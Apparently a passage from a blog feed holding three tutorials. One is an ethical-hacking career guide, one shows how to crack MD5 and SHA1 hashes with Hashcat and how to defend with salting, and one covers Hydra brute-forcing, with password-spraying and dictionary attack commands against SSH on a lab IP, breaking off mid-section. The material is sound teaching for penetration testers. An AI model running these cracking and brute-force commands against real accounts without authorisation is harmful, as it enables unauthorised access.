<p>Ethical hacking is also known as “white hat” hacking or pentesting. It is the practice of using hacking techniques and tools to test the security of a computer system.</p>
<p>The goal of an ethical hacker is to improve the security of the system. This involves identifying and addressing weaknesses that can be exploited by malicious hackers.</p>
<p>Ethical hacking involves simulating the types of attacks a malicious hacker might use. This helps us find the vulnerabilities in a system and apply fixes to prevent or reduce them.</p>
<p><a target="_blank" href="https://www.prnewswire.com/news-releases/cybersecurity-remains-one-of-the-most-in-demand-professions-new-data-from-cyberseek-confirms-301651014.html">Recent reports say</a> that the demand for Cybersecurity engineers is at an all-time high. If you are thinking of a career in cybersecurity, this is a perfect time.</p>
<p>Whether you are new to the field or have some experience under your belt, this guide will help you get started on your ethical hacking journey. So let’s dive in!</p>
<h2 id="heading-learn-the-different-types-of-cyber-attacks">Learn the Different Types of Cyber Attacks.</h2>
<p>The first thing you have to do is understand the different types of attacks. This will help give you an idea about what you will be dealing with as a cybersecurity engineer.</p>
<p>Here are some common types of cyber attacks.</p>
<ol>
<li><p><strong>Malware attacks:</strong> These attacks involve the use of malicious software. This includes viruses or ransomware that lock the system and ask for payment. You might remember the <a target="_blank" href="https://www.malwarebytes.com/wannacry">Wannacry ransomware</a> that ravaged businesses in 2017.</p>
</li>
<li><p><a target="_blank" href="https://www.freecodecamp.org/news/how-to-recognize-phishing-email/"><strong>Phishing attacks</strong></a><strong>:</strong> These attacks use fake emails, websites, and social media messages. This attack tricks users into giving out their private information like logins, credit card details, and so on.</p>
</li>
<li><p><strong>Denial of service (DoS) attacks:</strong> These attacks try to crash a target system using too much traffic. A server can only handle a specific number of requests. If the server exceeds its capacity due to a DoS attack, it will become unavailable to other users.</p>
</li>
<li><p><a target="_blank" href="https://www.freecodecamp.org/news/what-is-sql-injection-how-to-prevent-it/"><strong>SQL injection attacks</strong></a><strong>:</strong> These attacks involve injecting malicious code into a database. This happens due to poor security practices in building a web application. If successful, hackers can take over and even destroy an entire database.</p>
</li>
<li><p><a target="_blank" href="https://www.freecodecamp.org/news/how-to-protect-against-dom-xss-attacks/"><strong>Cross-site scripting (XSS) attacks</strong></a><strong>:</strong> These attacks involve injecting malicious code into a website. For example, if your website has a comments section without proper checks, malicious scripts can be injected into it. This script can then get saved into your database and also run on your customer’s browsers.</p>
</li>
<li><p><strong>Password attacks:</strong> These attacks involve attempting to guess or crack passwords. There are many tools available like <a target="_blank" href="https://blog.stealthsecurity.io/cracking-passwords-using-john-the-ripper/">John the Ripper</a> and <a target="_blank" href="https://blog.stealthsecurity.io/hacking-with-hashcat-a-practical-guide/">Hashcat</a>.</p>
</li>
<li><p><strong>Wireless attacks:</strong> These attacks involve targeting wireless networks like cracking a company’s WiFi. Once a hacker gains access to the WiFi, they can listen to every computer that connects to that WiFi.</p>
</li>
</ol>
<p>These are a few examples of the many types of cyber attacks that exist in today’s world. It is important that you understand different types of attacks and their impact. This will help you plan your training as well as choose a sub-category to specialize in.</p>
<h2 id="heading-develop-your-skillset">Develop Your Skillset</h2>
<p>Now that you know the different types of cyber attacks, how do you develop your skillset? Here are five steps that will help you move from beginner to professional.</p>
<h3 id="heading-learn-linux-fundamentals">Learn Linux Fundamentals</h3>
<p>Most servers run on Linux operating systems. Though most users use Windows, Linux is still the dominant server operating system in use. From AWS to Azure, most cloud servers are also deployed using Linux.</p>
<p>You can opt-in for Linux certifications like the <a target="_blank" href="https://www.redhat.com/en/services/certification/rhcsa">Red Hat Certification</a> or <a target="_blank" href="https://www.lpi.org/our-certifications/linux-essentials-overview">Linux essentials</a>. You can also play <a target="_blank" href="https://overthewire.org/wargames/">Wargames in OverTheWire</a> to learn some practical Linux commands.</p>
<p>Also, here's a <a target="_blank" href="https://www.freecodecamp.org/news/linux-essentials-for-hackers/">beginner-friendly course</a> that teaches you the basics of Linux for ethical hacking.</p>
<h3 id="heading-learn-networking-fundamentals">Learn Networking Fundamentals</h3>
<p>Learning networking is essential for cybersecurity. It helps you understand how computers talk to each other. Understanding protocols, architecture, and topology also help in building effective security measures against attackers.</p>
<p>A solid understanding of networking also helps with incident response and forensics. A strong networking background will get you from beginner to intermediate in a shorter time frame.</p>
<p>I would recommend <a target="_blank" href="https://www.youtube.com/playlist?list=PLBlnK6fEyqRgMCUAG0XRw78UA8qnv6jEx">this Youtube playlist</a> from Neso Academy. They have done a great job in putting all the Networking concepts together.</p>
<h3 id="heading-learn-basic-programming">Learn Basic Programming</h3>
<p>There is no alternative to learning to code. Tools like <a target="_blank" href="https://openai.com/blog/chatgpt/">ChatGPT</a> only enhance the way you work, they don't do it for you. So you need some programming basics. Or you will run into the risk of remaining a <a target="_blank" href="https://en.wikipedia.org/wiki/Script_kiddie">Script Kiddie</a>.</p>
<p>Programming knowledge helps you understand how computer systems work. Knowing programming also helps you to create secure software and systems. Programming skills are also needed to analyze and reverse-engineer malicious code. This is a crucial skillset for both offensive and defensive Pentesters.</p>
<p>Try these two resources:</p>
<ul>
<li><p>Learn <a target="_blank" href="https://www.learnshell.org/">basic Bash scripting</a></p>
</li>
<li><p>Learn <a target="_blank" href="https://www.learnpython.org/">basic Python programming</a></p>
</li>
</ul>
<h3 id="heading-tryhackme-pathways">TryHackme Pathways</h3>
<p><a target="_blank" href="https://tryhackme.com/">TryHackMe</a> is a platform that provides virtual rooms for learning cybersecurity skills. These rooms are interactive and they help you learn the method of finding and exploiting vulnerabilities. This is all done in a simulated network, so you will get some real-world practice without causing any damage.</p>
<p>They have also grouped rooms together to create pathways. These pathways help you to focus on a single topic, for example offensive security, defensive security, web app security, and so on.</p>
<p>Here are two pathways you can start with:</p>
<ul>
<li><p><a target="_blank" href="https://tryhackme.com/path/outline/introtocyber">Introduction to Cyber Security</a></p>
</li>
<li><p><a target="_blank" href="https://tryhackme.com/path/outline/jrpenetrationtester">Junior Penetration Tester</a></p>
</li>
</ul>
<h3 id="heading-labs-certifications-community">Labs / Certifications / Community</h3>
<p>Once you have completed the above steps, you can call yourself a mid-level ethical hacker. The next step is to get proficient by gaining some real-world hacking skills.</p>
<p>Here are the things you can do:</p>
<ul>
<li><p>Join <a target="_blank" href="https://www.hackthebox.com/">HackTheBox</a> and start cracking some virtual machines.</p>
</li>
<li><p>Prepare for a certification like <a target="_blank" href="https://www.comptia.org/certifications/pentest">Pentest+</a> or <a target="_blank" href="https://www.offensive-security.com/pwk-oscp">OSCP</a></p>
</li>
<li><p>Join a community like <a target="_blank" href="https://stealthsecurity.io/">Stealth Security</a> to keep learning about new tools and techniques.</p>
</li>
</ul>
<p>By doing these steps and continuing to learn and practice, you can build a strong skillset. Do note that ethical hacking requires a strong foundation in Linux and networking, so don’t skip those steps.</p>
<h2 id="heading-pentesting-tools-to-learn">Pentesting Tools to Learn</h2>
<p>There are a few tools you should learn if you want to be an effective and skilled ethical hacker. These tools are industry-standard and will most likely be used in the company you are looking to get into. Let’s look at each one of them.</p>
<ul>
<li><p><a target="_blank" href="https://nmap.org/"><strong>Nmap</strong></a><strong>:</strong> Nmap is a popular scanning and enumeration tool. Nmap helps us to find open ports, services, and vulnerabilities in a system. This is usually the first tool you will learn as an ethical hacker. You can <a target="_blank" href="https://www.freecodecamp.org/news/what-is-nmap-and-how-to-use-it-a-tutorial-for-the-greatest-scanning-tool-of-all-time/">read more about it here</a>.</p>
</li>
<li><p><strong>Wireshark:</strong> Wireshark helps us to analyze networks. When you connect to a <a target="_blank" href="https://www.wireshark.org/">network</a>, you can use Wireshark to see the packets of data in real-time. As an offensive tool, Wireshark also helps to perform <a target="_blank" href="https://www.imperva.com/learn/application-security/man-in-the-middle-attack-mitm/">man-in-the-middle</a> attacks. You can <a target="_blank" href="https://www.freecodecamp.org/news/how-to-use-wireshark-packet-analyzer/">read more about it here</a>.</p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/burp"><strong>Burpsuite</strong></a><strong>:</strong> Burpsuite is an all-in-one web application auditing tool. Burpsuite helps us to debug issues in web apps, capture requests and responses, and even brute-force login attempts. Burpsuite is also popular among bug-bounty hunters.</p>
</li>
<li><p><a target="_blank" href="https://www.metasploit.com/"><strong>Metasploit</strong></a><strong>:</strong> Once you have found a way to get into a system, Metasploit will help you generate the payload. Metasploit is a powerful tool that comes with a lot of scanners, payloads, and exploits. You can also import results from other tools like Nmap into Metasploit. You can <a target="_blank" href="https://www.freecodecamp.org/news/metasploit-a-walkthrough-of-the-powerful-exploitation-framework/">read more about it here</a>.</p>
</li>
<li><p><a target="_blank" href="https://www.tenable.com/products/nessus"><strong>Nessus</strong></a><strong>:</strong> Nessus is an all-in-one scanner that helps us find vulnerabilities. It also provides recommendations on how to resolve those vulnerabilities. Nessus is a paid tool with a limited free option but is commonly used in enterprises.</p>
</li>
</ul>
<p>I have also recently written a blog post on the <a target="_blank" href="https://medium.com/@manishmshiva/10-tools-you-should-know-as-a-cybersecurity-engineer-3b9809c7bbc2">top ten tools you need to know as an ethical hacker</a>, so you can check it out if you are interested.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>In conclusion, ethical hacking is a valuable and rewarding career choice. Given the gap in demand and available security engineers, this is the perfect time to start a cybersecurity career.</p>
<p>Just remember that ethical hacking requires a strong foundation in networking and Linux, so don’t skip those lessons before you start working with a pentesting tool.</p>
<p>Hope you enjoyed this article. You can find more about my articles and videos on <a target="_blank" href="https://www.manishmshiva.com/">my website</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Crack Hashes with Hashcat — a Practical Pentesting Guide ]]>
                </title>
                <description>
                    <![CDATA[ Hashing is one of the pillars of cybersecurity. From securing passwords to sensitive data, there are a variety of use cases for hashing. Hashing is often confused with encryption. A simple difference is that hashed data is not reversible. Encrypted d... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/hacking-with-hashcat-a-practical-guide/</link>
                <guid isPermaLink="false">66d035cbccf811d3117aeec8</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Linux ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Thu, 08 Dec 2022 15:55:26 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/12/hashcat-1.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hashing is one of the pillars of cybersecurity. From securing passwords to sensitive data, there are a variety of use cases for hashing.</p>
<p>Hashing is often confused with encryption. A simple difference is that hashed data is not reversible. Encrypted data can be reversed using a key. This is why applications like Telegram use encryption while passwords are hashed.</p>
<p>In this article, we will look at installing and working with <a target="_blank" href="https://hashcat.net/hashcat/">Hashcat</a>. Hashcat is a simple but powerful command line utility that helps us to – you guessed it – crack hashes.</p>
<p>We will first start by looking at how hashing works in detail.</p>
<blockquote>
<p><em>Note: All my articles are for educational purposes. If you use</em> this information <em>illegally and get into trouble, I am not responsible. Always get permission from the owner before scanning / brute-forcing / exploiting a system.</em></p>
</blockquote>
<h2 id="heading-what-is-password-hashing">What is Password Hashing?</h2>
<p>Hashing is the process of converting an alphanumeric string into a fixed-size string by using a hash function. A hash function is a mathematical function that takes in the input string and generates another alphanumeric string.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/12/image-14.png" alt="Image" width="600" height="400" loading="lazy">
<em>How hashing works</em></p>
<p>There are many hashing algorithms like MD5, SHA1, and so on. To learn more about different hashing algorithms, <a target="_blank" href="https://www.okta.com/identity-101/hashing-algorithms/#:~:text=A%20hashing%20algorithm%20is%20a,and%20decoded%20by%20anyone%20else.">you can read the article here</a>.</p>
<p>The length of a hash is always a constant, irrespective of the length of the input. For example, if we use the MD5 algorithm and hash two strings like “Password123” and “HelloWorld1234”, the final hash will have a fixed length.</p>
<p>Here is the MD5 hash for “Password123”.</p>
<pre><code><span class="hljs-number">42</span>f749ade7f9e195bf475f37a44cafcb
</code></pre><p>If we use the input string as “HelloWorld1234”, this will be the result:</p>
<pre><code><span class="hljs-number">850</span>eaebd5c4bb931dbb2bbcf7994c021
</code></pre><p>Now there is a similar algorithm called encoding. A popular encoding algorithm is base64. Here is how the same “Password123” will look if we encode it with base64:</p>
<pre><code>UGFzc3dvcmQxMjM=
</code></pre><p>So what is the difference between hashing and encoding? When we encode a string, it can be easily decoded to get the source string. But if we hash a string, we can never get to the source string (maybe with quantum computers, but that's another topic for discussion).</p>
<p>Hashing and encoding have different use cases. We can apply encoding to mask/simplify strings while hashing is used to secure sensitive data like passwords.</p>
<p>If hashes are not reversible, how would we compare the strings? Simple – we compare the hashes.</p>
<p>When we signup for a website, they will hash our password before saving it (hopefully!). When we try to log in again, the same hashing algorithm is used to generate a hash for our input. It is then compared with the original hash saved in the database.</p>
<p>This approach is also what gives rise to hashing attacks. A simple way to attack hashes is to have a list of common passwords hashed together. This list is called a <a target="_blank" href="https://en.wikipedia.org/wiki/Rainbow_table">Rainbow table</a>. Interesting name for a table of hashes.</p>
<p>Now that we know how hashing works, let's look at what Hashcat is.</p>
<h2 id="heading-what-is-hashcat">What is Hashcat?</h2>
<p>Hashcat is a fast password recovery tool that helps break complex password hashes. It is a flexible and feature-rich tool that offers many ways of finding passwords from hashes.</p>
<p>Hashcat is also one of the few tools that can work with the GPU. While CPUs are great for sequential tasks, GPUs have powerful parallel processing capabilities. GPUs are used in Gaming, Artificial intelligence, and can also be used to speed up password cracking.</p>
<p>Here is the <a target="_blank" href="https://www.intel.in/content/www/in/en/products/docs/processors/cpu-vs-gpu.html">difference between a CPU and a GPU</a> if you want to learn more.</p>
<p>Other notable features of Hashcat include:</p>
<ul>
<li>Fully open source.</li>
<li>Support for more than 200 hashing algorithms.</li>
<li>Support for Windows, Linux, and Mac.</li>
<li>Support for cracking multiple hashes in parallel.</li>
<li>Built-in benchmarking system.</li>
</ul>
<p>Now that we know what Hashcat is, let's go and install it.</p>
<h2 id="heading-how-to-install-hashcat">How to Install Hashcat</h2>
<p>Hashcat comes pre-installed in Kali and Parrot OS. To install it in Ubuntu / Debian-based systems, use the following command:</p>
<pre><code>$ apt install hashcat
</code></pre><p>To install it on a Mac, you can use <a target="_blank" href="https://brew.sh/">Homebrew</a>. Here is the command:</p>
<pre><code>$ brew install hashcat
</code></pre><p>For other operating systems, a full list of installation instructions can be <a target="_blank" href="https://hashcat.net/hashcat/https://hashcat.net/hashcat/">found here</a>.</p>
<p>Once the installation is done, we can check Hashcat’s help menu using this command:</p>
<pre><code>$ hashcat -h
</code></pre><p><img src="https://www.freecodecamp.org/news/content/images/2022/12/image-15.png" alt="Image" width="600" height="400" loading="lazy">
<em>Hashcat help menu</em></p>
<p>In addition to Hashcat, we will also need a wordlist. A word list is a list of commonly used terms. This can be a <a target="_blank" href="https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10-million-password-list-top-100.txt">password wordlist</a>, <a target="_blank" href="https://github.com/danielmiessler/SecLists/blob/master/Usernames/Names/names.txt">username wordlist</a>, subdomain wordlist, and so on.</p>
<p>A popular password wordlist is <a target="_blank" href="https://github.com/teamstealthsec/wordlists/blob/master/rockyou.txt.gz">rockyou.txt</a>. It contains a list of commonly used passwords and is popular among pen testers. You can find the Rockyou wordlist under /usr/share/wordlists in Kali Linux.</p>
<h2 id="heading-how-to-work-with-hashcat">How to Work with Hashcat</h2>
<p>Now that we know what hashing and Hashcat are, let’s start cracking some passwords.</p>
<p>Before cracking a hash, let's create a couple of hashes to work with. We can use a site like <a target="_blank" href="https://www.browserling.com/tools/all-hashes">Browserling</a> to generate hashes for input strings.</p>
<p>Let’s create two hashes: A MD5 hash and a SHA1 hash for the string “Password123”. I'm using a weak password to help you understand how easy it is to crack these passwords.</p>
<p>Here are the generated hashes for the input strings.</p>
<pre><code>MD5 hash -&gt; <span class="hljs-number">42</span>f749ade7f9e195bf475f37a44cafcb
SHA1 hash -&gt; b2e98ad6f6eb8508dd6a14cfa704bad7f05f6fb1
</code></pre><p>We can store these hashes under the names md5.txt and sha1.txt to use them when working with Hashcat.</p>
<p>To crack a password using Hashcat, here is the general syntax.</p>
<pre><code>$ hashcat -m value -a value hashfile wordlist
</code></pre><p>Let’s dissect the syntax. We have used two flags, <code>-m</code> and <code>-a</code> . The <code>-m</code> flag is used to specify the hash type and the <code>-a</code> flag is to specify the attack mode. You can find the <a target="_blank" href="https://hashcat.net/wiki/doku.php?id=hashcat">list of hash types and attack modes here</a>.</p>
<p>Let’s crack our md5 hash first. We will crack this hash using the Dictionary mode. This is a simple attack where we provide a list of words (RockYou) from which Hashcat will generate and compare hashes.</p>
<p>We can specify the hash mode as “md5” using the value 0. But Hashcat can also identify the hash type automatically for common hash algorithms.</p>
<p>For the attack mode, we will be using the dictionary mode (0) using the flag <code>-a</code>. Here is the full command:</p>
<pre><code>$ hashcat -m <span class="hljs-number">0</span> -a <span class="hljs-number">0</span> md5.txt rockyou.txt
</code></pre><p>Hashcat will quickly find the value for the hash, in this case, “Password123”:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/12/image-16.png" alt="Image" width="600" height="400" loading="lazy">
<em>Hashcat MD5 crack</em></p>
<p>Looks simple, doesn't it? Now let’s crack our SHA hash. The hash mode value for SHA1 is 100. Here is the command:</p>
<pre><code>$ hashcat -m <span class="hljs-number">100</span> -a <span class="hljs-number">0</span> sha1.txt rockyou.txt
</code></pre><p>And here is the output from Hashcat:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/12/image-17.png" alt="Image" width="600" height="400" loading="lazy">
<em>Hashcat SHA1 crack</em></p>
<p>Hashcat supports almost all hashing algorithms with various attack modes. Let's look at a few attack modes and see how they work.</p>
<h3 id="heading-dictionary-attack-a-0">Dictionary attack (-a 0)</h3>
<p>As we saw in our example above, a dictionary attack is performed by using a wordlist. A dictionary attack is also the default option in Hashcat. The better the wordlist is, the greater the chances of cracking the password.</p>
<h3 id="heading-combinator-attack-a-1">Combinator attack (-a 1)</h3>
<p>The combinator attack will try different combinations of words from our wordlist. For example, if our wordlist contains the words “pass”, ”123", and ”hello”, Hashcat will generate the following wordlist.</p>
<pre><code>passpass
pass123
passhello
<span class="hljs-number">123</span>pass
<span class="hljs-number">123123</span>
<span class="hljs-number">123</span>hello
hellopass
hello123
hellohello
</code></pre><p>As you can see, using a simple wordlist can give us a number of combinations. This attack is great if we know some terms that might be used in the password. Keep in mind that, the larger the initial wordlist, the more complicated the final wordlist gets.</p>
<h3 id="heading-mask-attack-a-3">Mask attack (-a 3)</h3>
<p>The mask attack is similar to the dictionary attack, but it is more specific. Brute-force approaches like dictionary attacks can take a long time to crack a password. But if we have information regarding the password, we can use that to speed up the time it takes to crack the password.</p>
<p>For example, if we know the length of the password and a few characters that might be in the password, we can generate a custom wordlist with those characters.</p>
<p>The mask attack is out of scope for this article, but you can <a target="_blank" href="https://hashcat.net/wiki/doku.php?id=mask_attackhttps://hashcat.net/wiki/doku.php?id=mask_attack">learn more about mask attacks here</a>.</p>
<p>In addition to these common attack types, there are more attack modes in Hashcat. This includes Hybrid mode, Permutation attack, Rule-based attack, and so on. Each of these modes can be used for specific use cases and to speed up password cracking.</p>
<h2 id="heading-how-to-defend-against-hashcat">How to Defend Against Hashcat</h2>
<p>The first and obvious step is to set strong passwords. The stronger the password is, the harder it is to crack it. You can check if your password has been <a target="_blank" href="https://haveibeenpwned.com/">exposed to the internet here</a>.</p>
<p>A more effective way is to <a target="_blank" href="https://www.freecodecamp.org/news/why-a-little-salt-can-be-great-for-your-passwords/">add salts to password hashes</a>. A salt is an additional string added to the existing password so the hash generated is different from the normal hash of a string.</p>
<p>For example, if a string “sdf909” is added to a password “Password123”, Rainbow table attacks will immediately fail since they don't have hashes with the salt added to them.</p>
<p>To crack a salted password, the attacker should know both the hash and salt values. This makes it harder to crack hashes using methods such as Rainbow tables.</p>
<p>We can further strengthen salting by using dynamic salts instead of static salts. We can write a function that generates a salt value for every string making it exponentially harder to crack a salted password.</p>
<p>You can <a target="_blank" href="https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/">read this article</a> to learn more about how Salts work in password hashing.</p>
<h2 id="heading-summary">Summary</h2>
<p>Hashing is the method of using a mathematical function to generate a random string. It is a one-way function and helps to secure data such as user passwords.</p>
<p>Hashcat is a powerful tool that helps to crack password hashes. Hashcat supports most hashing algorithms and can work with a variety of attack modes. </p>
<p>To enforce security and protect hashes from attacks, use strong passwords and salts before hashing passwords.</p>
<p><em>Loved this article? Join</em> <a target="_blank" href="https://tinyletter.com/stealthsecurity"><em>Stealth Security Weekly Newsletter</em></a> <em>and get articles delivered to your inbox every Friday. You can also</em> <a target="_blank" href="https://www.linkedin.com/in/manishmshiva/"><em>connect with me</em></a> <em>on Linkedin.</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Use Hydra  to Hack Passwords – Penetration Testing Tutorial ]]>
                </title>
                <description>
                    <![CDATA[ Hydra is a brute-forcing tool that helps penetration testers and ethical hackers crack the passwords of network services.  Hydra can perform rapid dictionary attacks against more than 50 protocols. This includes telnet, FTP, HTTP, HTTPS, SMB, databas... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-use-hydra-pentesting-tutorial/</link>
                <guid isPermaLink="false">66d035f112c679876b0602e0</guid>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Fri, 18 Nov 2022 17:28:29 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/11/Stealth-Security---Blog-Banner--4-.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hydra is a brute-forcing tool that helps penetration testers and ethical hackers crack the passwords of network services. </p>
<p>Hydra can perform rapid dictionary attacks against more than 50 protocols. This includes telnet, FTP, HTTP, HTTPS, SMB, databases, and several other services.</p>
<p>Hydra was developed by the hacker group “<a target="_blank" href="https://www.thc.org/">The Hacker’s Choice</a>”. Hydra was first released in 2000 as a proof of concept tool that demonstrated how you can perform attacks on network logon services.</p>
<p>Hydra is also a parallelized login cracker. This means you can have more than one connection in parallel. Unlike in sequential brute-forcing, this reduces the time required to crack a password.</p>
<p><a target="_blank" href="https://www.freecodecamp.org/news/crack-passwords-using-john-the-ripper-pentesting-tutorial/">In my last article</a>, I explained another brute-force tool called <a target="_blank" href="https://stealthsecurity.io/cracking-passwords-using-john-the-ripper-977943d7ab38">John the Ripper</a>. Though John and Hydra are brute-force tools, John works offline while Hydra works online.</p>
<p>In this article, we will look at how Hydra works followed by a few real-world use cases.</p>
<blockquote>
<p><em>Note: All my articles are for educational purposes. If you use it illegally and get into trouble, I am not responsible. Always get permission from the owner before scanning / brute-forcing / exploiting a system.</em></p>
</blockquote>
<h1 id="heading-how-to-install-hydra">How to Install Hydra</h1>
<p>Hydra comes pre-installed with Kali Linux and Parrot OS. So if you are using one of them, you can start working with Hydra right away.</p>
<p>On Ubuntu, you can use the apt package manager to install it:</p>
<pre><code>$ apt install hydra
</code></pre><p>In Mac, you can find Hydra under Homebrew:</p>
<pre><code>$ brew install hydra
</code></pre><p>If you are using Windows, I would recommend using a virtual box and installing Linux. Personally, I don't recommend using Windows if you want to be a professional penetration tester.</p>
<h1 id="heading-how-to-work-with-hydra">How to Work with Hydra</h1>
<p>Let’s look at how to work with Hydra. We will go through the common formats and options that Hydra provides for brute-forcing usernames and passwords. This includes single username/password attacks, password spraying, and dictionary attacks.</p>
<p>If you have installed Hydra, you can start with the help command like this:</p>
<pre><code>$ hydra -h
</code></pre><p>This will give you the list of flags and options that you can use as a reference when working with Hydra.</p>
<p><img src="https://miro.medium.com/max/1400/1*8vU8A1khpqIpOElesAkl4A.png" alt="Image" width="600" height="400" loading="lazy">
<em>Hydra help command</em></p>
<h2 id="heading-how-to-perform-a-single-usernamepassword-attack-with-hydra"><strong>How to Perform a Single Username/Password Attack with Hydra</strong></h2>
<p>Let’s start with a simple attack. If we have the username and password that we expect a system to have, we can use Hydra to test it.</p>
<p>Here is the syntax:</p>
<pre><code>$ hydra -l &lt;username&gt; -p &lt;password&gt; &lt;server&gt; &lt;service&gt;
</code></pre><p>Let’s assume we have a user named “molly” with a password of “butterfly” hosted at 10.10.137.76. Here is how we can use Hydra to test the credentials for SSH:</p>
<pre><code>$ hydra -l molly -p butterfly <span class="hljs-number">10.10</span><span class="hljs-number">.137</span><span class="hljs-number">.76</span> ssh
</code></pre><p>If it works, here is what the result will look like:</p>
<p><img src="https://miro.medium.com/max/1400/1*8aNN3Hnbfd-ZqbqFUlfm3A.png" alt="Image" width="600" height="400" loading="lazy">
<em>Hydra single username and password</em></p>
<h2 id="heading-how-to-perform-a-password-spraying-attack-with-hydra"><strong>How to Perform a Password Spraying Attack with Hydra</strong></h2>
<p>What if we know a password that someone is using, but we are not sure who it is? We can use a password spray attack to determine the username.</p>
<p>A password spray attack is where we use a single password and run it against a number of users. If someone is using the password, Hydra will find the match for us.</p>
<p>This attack assumes we know a list of users in the system. For this example, we will create a file called users.txt with the following users:</p>
<pre><code>root
admin
user
molly
steve
richard
</code></pre><p>Now we are going to test who has the password “butterfly”. Here is how we can run a password spray attack using Hydra.</p>
<pre><code>$ hydra -L users.txt -p butterfly <span class="hljs-number">10.10</span><span class="hljs-number">.137</span><span class="hljs-number">.76</span> ssh
</code></pre><p>We will get a similar result to the following output if any of the users match with the given password. You should also notice that we have used the flag -L instead of -l. -l is for a single username and -L is for a list of usernames.</p>
<p><img src="https://miro.medium.com/max/1400/1*2ASFNBpuONPVC-YabYaDMQ.png" alt="Image" width="600" height="400" loading="lazy">
<em>Hydra password spraying</em></p>
<h2 id="heading-how-to-perform-a-dictionary-attack-with-hydra"><strong>How to Perform a Dictionary Attack with Hydra</strong></h2>
<p>Let’s look at how to perform a dictionary attack. In real-world scenarios, this is what we will be using Hydra regularly for.</p>
<p>A dictionary attack is where we have single/multiple usernames and we provide a password wordlist to Hydra. Hydra then tests all these passwords against every user in the list.</p>
<p>I am going to use the <a target="_blank" href="https://github.com/teamstealthsec/wordlists">Rockyou wordlist</a> for this example along with the users.txt file we created in the previous attack. If you are using Kali Linux, you can find the RockYou wordlist under /usr/share/wordlists/rockyou.txt.</p>
<p>Here is the command for a dictionary attack:</p>
<pre><code>$ hydra -L users.txt -P /usr/share/wordlists/rockyou.txt <span class="hljs-number">1010.137</span><span class="hljs-number">.76</span> ssh
</code></pre><p>If this attack is successful, we will see a similar result to the other two commands. Hydra will highlight the successful username/password combinations in green for all the matches.</p>
<h2 id="heading-how-to-use-the-verbosity-and-debugging-flags-in-hydra"><strong>How to Use the Verbosity and Debugging Flags in Hydra</strong></h2>
<p>Hydra can be awfully quiet when running large brute-force attacks. If we have to make sure Hydra is doing what it is expected to do, there are two flags we can use.</p>
<p>The verbosity (-v) flag will show us the login attempt for each username/password combination. This can be a bit much when there are a lot of combinations to go through, but if it is something you need, we can use the verbosity flag.</p>
<p>Here is a sample result. We can see that Hydra prints information about failed attempts in addition to the successful matches.</p>
<p><img src="https://miro.medium.com/max/1400/1*CRsDQ3dMnDyvx-D1X_QKug.png" alt="Image" width="600" height="400" loading="lazy">
<em>Hydra verbose mode</em></p>
<p>We can also use the debug (-d) flag to gather even more information. Here is the same result when using the debug flag:</p>
<p><img src="https://miro.medium.com/max/1400/1*xKUdCTic-qF2lVc9Q4w9LA.png" alt="Image" width="600" height="400" loading="lazy">
<em>Hydra debug mode</em></p>
<p>We can see that Hydra prints way more information than we need. We will only use debug mode rarely, but it is good to know that we have the option to watch every action Hydra takes when brute-forcing a service.</p>
<h2 id="heading-how-to-save-your-results-in-hydra"><strong>How to Save Your Results in Hydra</strong></h2>
<p>Let's look at how to save results. There is no point in spending hours cracking a password and losing it due to a system crash.</p>
<p>We can use the -o flag and specify a file name to save the result. Here is the syntax.</p>
<pre><code>$ hydra -l &lt;username&gt; -p &lt;password&gt; &lt;ip&gt; &lt;service&gt; -o &lt;file.txt&gt;
</code></pre><h3 id="heading-more-flags-and-formats">More flags and formats</h3>
<p>Hydra also offers a few additional flags and formats that will be useful for us as pen testers. Here are a few:</p>
<h4 id="heading-service-specification">Service specification</h4>
<p>Instead of specifying the service separately, we can use it with the IP address. For example, to brute force SSH, we can use the following command:</p>
<pre><code>$ hydra -l &lt;username&gt; -p &lt;password&gt; ssh:<span class="hljs-comment">//&lt;ip&gt;</span>
</code></pre><h4 id="heading-how-to-resume-attacks">How to resume attacks</h4>
<p>If Hydra’s session exits when an attack is in progress, we can resume the attack using the -R flag instead of starting from scratch.</p>
<pre><code>$ hydra -R
</code></pre><h4 id="heading-how-to-use-custom-ports">How to use custom ports</h4>
<p>Sometimes system administrators will change the default ports for service. For example, FTP can run in port 3000 instead of its default port 21. In those cases, we can specify ports using the -s flag.</p>
<pre><code>$ hydra -l &lt;username&gt; -p &lt;password&gt; &lt;ip&gt; &lt;service&gt; -s &lt;port&gt;
</code></pre><h4 id="heading-how-to-attack-multiple-hosts">How to attack multiple hosts</h4>
<p>What if we have multiple hosts to attack? Easy, we can use the -M flag. The files.txt will contain a list of IP addresses or hosts instead of a single IP address.</p>
<pre><code>$ hydra -l &lt;username&gt; -p &lt;password&gt; -M &lt;host_file.txt&gt; <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">service</span>&gt;</span></span>
</code></pre><h4 id="heading-targeted-combinations">Targeted combinations</h4>
